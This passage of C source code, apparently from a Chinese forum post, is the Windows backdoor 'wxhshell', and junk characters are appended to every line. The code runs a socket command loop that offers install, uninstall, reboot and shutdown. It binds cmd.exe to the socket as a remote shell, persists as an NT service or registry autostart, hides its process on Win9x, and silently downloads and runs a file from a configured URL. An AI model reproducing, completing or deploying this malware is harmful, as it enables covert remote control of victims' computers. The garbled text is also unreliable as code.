  } Y**|e4  
  else { \TXCq@  
#R3|nL  
    switch(cmd[0]) { $2gZpO|  
  nJ~5ICyd  
  // 帮助 T0P_&E@X  
  case '?': { f^kH[C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =GSe$f?  
    break; XfH[: XG3  
  } d,caOE8N  
  // 安装 JQ]A"xTIa*  
  case 'i': { WkR=(dss8  
    if(Install()) )Fh5*UC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \L{V|}"X  
    else  q<Zza  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k'JfXrW<!  
    break; =-|,v*  
    } O4fl$egQU  
  // 卸载 %.VFj7J  
  case 'r': { T:(c/ >  
    if(Uninstall()) ptEChoZ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h1.<\GO  
    else #=\nuT'oy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /#I~iYPe  
    break; +LsACSB  
    } JE.s?k  
  // 显示 wxhshell 所在路径 |(\T;~7'  
  case 'p': { @fG 'X  
    char svExeFile[MAX_PATH]; rW B/#m  
    strcpy(svExeFile,"\n\r"); Dk`(Wgk2  
      strcat(svExeFile,ExeFile); r:Rk!z*  
        send(wsh,svExeFile,strlen(svExeFile),0); }:a:E~5y  
    break; 8[xl3=  
    } b;%>?U`>p  
  // 重启 :927y  
  case 'b': { &pZn cm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RYuR&0_{  
    if(Boot(REBOOT)) zyi;vu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w_]`)$9  
    else { %uy5la  
    closesocket(wsh); _/`H<@B_U  
    ExitThread(0);  q,v)X  
    } 9S]]KEGn4  
    break; Cmj+>$')0  
    } "8sB,$  
  // 关机 7S]<?>*  
  case 'd': { .DG`~Fpk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UY$Lqe~  
    if(Boot(SHUTDOWN)) 7F@#6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tzV^.QWm  
    else { 9B<aYp)  
    closesocket(wsh); KoKd.%  
    ExitThread(0); G=l-S\0@  
    } YecV+ K'p:  
    break; ;dVYR=l  
    } FEwPLViso  
  // 获取shell ;"Q.c#pA$g  
  case 's': { oK#UEn  
    CmdShell(wsh); f*46,` x  
    closesocket(wsh); %UokR"  
    ExitThread(0); 1E]TH/JK  
    break; * faG0le  
  } <Po$|$_~  
  // 退出 -h8@B+  
  case 'x': { y0_z_S#gO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r!e:sJAB.  
    CloseIt(wsh); WCUaXvw  
    break; xfK@tLEZ-1  
    } ptMDhMVW  
  // 离开 e-Ma8+X\  
  case 'q': { iininITOS{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hx#1TqC /  
    closesocket(wsh); yHYK,3/C,  
    WSACleanup(); ,,HoD~]rd  
    exit(1); &-zW1wf  
    break; L| K8  
        } zW9/[Db  
  } &ku.Q3xGs  
  } +nU=)x?38  
~ NZC0&  
  // 提示信息 s_}q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >7,?X_:A-1  
} 5-?*Boi>i  
  } My<.^~  
2D)B%nM[  
  return; 'B yB1NL  
} It:,8  
z,xGjS P  
// shell模块句柄 :Fh#"<A&&  
int CmdShell(SOCKET sock) l#bE_PD;  
{ BHNEP |=  
STARTUPINFO si; MmQ"z_v  
ZeroMemory(&si,sizeof(si)); r@u8QhD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; i# bcjH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9zE/SDu7\  
PROCESS_INFORMATION ProcessInfo; eY\w ?pT2  
char cmdline[]="cmd"; $q*hE&x Qd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C8t;E`  
  return 0; e82xBLxR%  
} x,M8NTb*  
TY;%nT  
// 自身启动模式 7 >-(g+NF!  
int StartFromService(void) W:8pmI  
{ Kw=][}d`D  
typedef struct )}lO%B'K  
{ ^?5HagA  
  DWORD ExitStatus; H7%q[O  
  DWORD PebBaseAddress; ToR@XL!%rP  
  DWORD AffinityMask; "6q@}sz!  
  DWORD BasePriority; \c4D|7\=  
  ULONG UniqueProcessId; 7Fzj&!>ti  
  ULONG InheritedFromUniqueProcessId; sT'j36Nc<,  
}   PROCESS_BASIC_INFORMATION; 08G${@D+X0  
YHzP/&0  
PROCNTQSIP NtQueryInformationProcess; U%)-_ *`z  
=*{Ii]D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k&lfxb9pd  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Qv6-,6<  
P:%r3F  
  HANDLE             hProcess; d.yATP  
  PROCESS_BASIC_INFORMATION pbi; of8 >xvE|  
]w_JbFmT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QD^q\9U[  
  if(NULL == hInst ) return 0; (;9j#x  
hip't@.uE  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %l[]n;*$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sA2esA@C<o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W:>XXUU  
yT|44 D2j  
  if (!NtQueryInformationProcess) return 0; bT15jNa  
u0F{.fe  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MO%+rf0~w  
  if(!hProcess) return 0; Fv<3VKueK[  
K57u87=*X?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MU:q`DRr  
i}5M'~ F  
  CloseHandle(hProcess); apjoIO-<  
hc*tQ2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2Mu@P8O&  
if(hProcess==NULL) return 0; K-[;w$np0  
|7QSr!{_  
HMODULE hMod; ~S\,  
char procName[255]; xnxNc5$oE  
unsigned long cbNeeded; Rxlz`&   
EY^?@D_<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $8}'h  
gg/2R?O]  
  CloseHandle(hProcess); :.u2^*<  
G=er0(7<  
if(strstr(procName,"services")) return 1; // 以服务启动 RFPcH8-u7  
Vsr"W@k_  
  return 0; // 注册表启动 &H[7UyC  
} _Kbj?j  
Ca -.&$f  
// 主模块 7(d#zu6n  
int StartWxhshell(LPSTR lpCmdLine) *dN_=32u  
{ KM?w{ ~9  
  SOCKET wsl; -S#jOr  
BOOL val=TRUE; 3_8W5J3I  
  int port=0; Qb|@DMq%  
  struct sockaddr_in door; .bUj  
YJ|U| [  
  if(wscfg.ws_autoins) Install(); p8FXlTk  
D$+g5u)  
port=atoi(lpCmdLine); 86);0EBX  
| {Q}:_/q  
if(port<=0) port=wscfg.ws_port; 3YG%YhevO  
"RTv[n!  
  WSADATA data; .FN 6/N\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W ", yq|  
b=5ZfhIg[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -]t>'Q?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9/_~YY=/h  
  door.sin_family = AF_INET; Hb/8X !=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nk;^sq4M:  
  door.sin_port = htons(port); a$\ Bt_  
H@b4(6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nok-![  
closesocket(wsl); "'C5B>qO  
return 1; WL?qulC}h1  
} }0?XF/e(R  
Shv$"x:W  
  if(listen(wsl,2) == INVALID_SOCKET) { OZA^L;#>  
closesocket(wsl); V"B/4v>  
return 1; )2Bb,p<Wr  
} H>o \C  
  Wxhshell(wsl); %|j8#09  
  WSACleanup(); A/{!w"G  
p[ &b@U#  
return 0; oJQ \?~  
z;MPp#Y  
} D8{ ,}@  
5WvsS( 9H  
// 以NT服务方式启动 )7p(htCz5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^#IE t#  
{ Wt=\hixj-  
DWORD   status = 0; ?C- ju8]|  
  DWORD   specificError = 0xfffffff; m2P&DdN[  
FmFjRYA W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "l hj1zZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [jksOC)@4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N.0g%0A.D  
  serviceStatus.dwWin32ExitCode     = 0; x6^Y&,y9kU  
  serviceStatus.dwServiceSpecificExitCode = 0; !K0 U..  
  serviceStatus.dwCheckPoint       = 0; 4j8$& ~/  
  serviceStatus.dwWaitHint       = 0; +prUau*  
1wm`a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xkU8(=  
  if (hServiceStatusHandle==0) return; @biU@[D  
mHV{9J  
status = GetLastError(); =z]rZSq*o  
  if (status!=NO_ERROR) 7XLqP  
{ ^tjw }sE  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T "hjL  
    serviceStatus.dwCheckPoint       = 0; G&@d J &B  
    serviceStatus.dwWaitHint       = 0; #6v357-5  
    serviceStatus.dwWin32ExitCode     = status; xcn~KF8  
    serviceStatus.dwServiceSpecificExitCode = specificError; ( mn:!3H%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #C~ </R%  
    return; K&zW+C b  
  } u! &T}i:  
|a a\t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; seRf q&  
  serviceStatus.dwCheckPoint       = 0; CBF<53TshR  
  serviceStatus.dwWaitHint       = 0; FJ4,|x3v[x  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r d-yqdJ  
} 2g~ @99`  
9D Nd} rXO  
// 处理NT服务事件,比如:启动、停止 Bs`{qmbC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -FI)o`AE  
{ Tl'wA^~H  
switch(fdwControl) j"hEs(t  
{ *v]s&$WyO  
case SERVICE_CONTROL_STOP: ,Q3OQ[Nmh  
  serviceStatus.dwWin32ExitCode = 0; UCK;?]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lM}-'8tt?  
  serviceStatus.dwCheckPoint   = 0; nlI3|5  
  serviceStatus.dwWaitHint     = 0; Z^z{, u;!  
  { 7(uz*~Z?`0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y.}{KQ"a*  
  } #ACT&J  
  return; OzD\* ,{7  
case SERVICE_CONTROL_PAUSE: %8h=_(X\7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kw$@_~BJ6  
  break; ]1XtV<  
case SERVICE_CONTROL_CONTINUE: ~[dL:=?c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4}k@p>5v'  
  break; 71Za!3+  
case SERVICE_CONTROL_INTERROGATE: sNcU>qjj6  
  break; ZI;*X~h  
}; 8>W52~^fU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jf`w8*R  
} rks"y&&Nc  
2 oV6#!{Z  
// 标准应用程序主函数 -gk2$P-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D!! B4zt  
{ 8<mloM-4  
~3M8"}X;L  
// 获取操作系统版本 IN<nZ?D#  
OsIsNt=GetOsVer(); S{N4[U?V>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wdfbl_`T  
d'ZB{'[8p  
  // 从命令行安装 y< j7iN  
  if(strpbrk(lpCmdLine,"iI")) Install(); i!*<LIq  
JbL3/h]  
  // 下载执行文件 ^)Awjj9  
if(wscfg.ws_downexe) { bf+C=A)s0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]&"ii  
  WinExec(wscfg.ws_filenam,SW_HIDE); D (8Z90  
} 0)g]pG8&ro  
"_\"S  
if(!OsIsNt) { v]EZYEXFL)  
// 如果时win9x,隐藏进程并且设置为注册表启动 $Wj{B@k  
HideProc(); _AX,}9  
StartWxhshell(lpCmdLine); 4'dN7E1*f  
}  %G\nl  
else 8y<.yfgG  
  if(StartFromService()) 2t_g\Q  
  // 以服务方式启动 "{qnm+G  
  StartServiceCtrlDispatcher(DispatchTable); "qF/7`e[  
else \%Y`>x.  
  // 普通方式启动 NQ;X|$!zH  
  StartWxhshell(lpCmdLine); %L- qAI&V  
/CO=!*7fz  
return 0; L&)e}"  
}
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只看该作者 1 发表于: 2006-10-10
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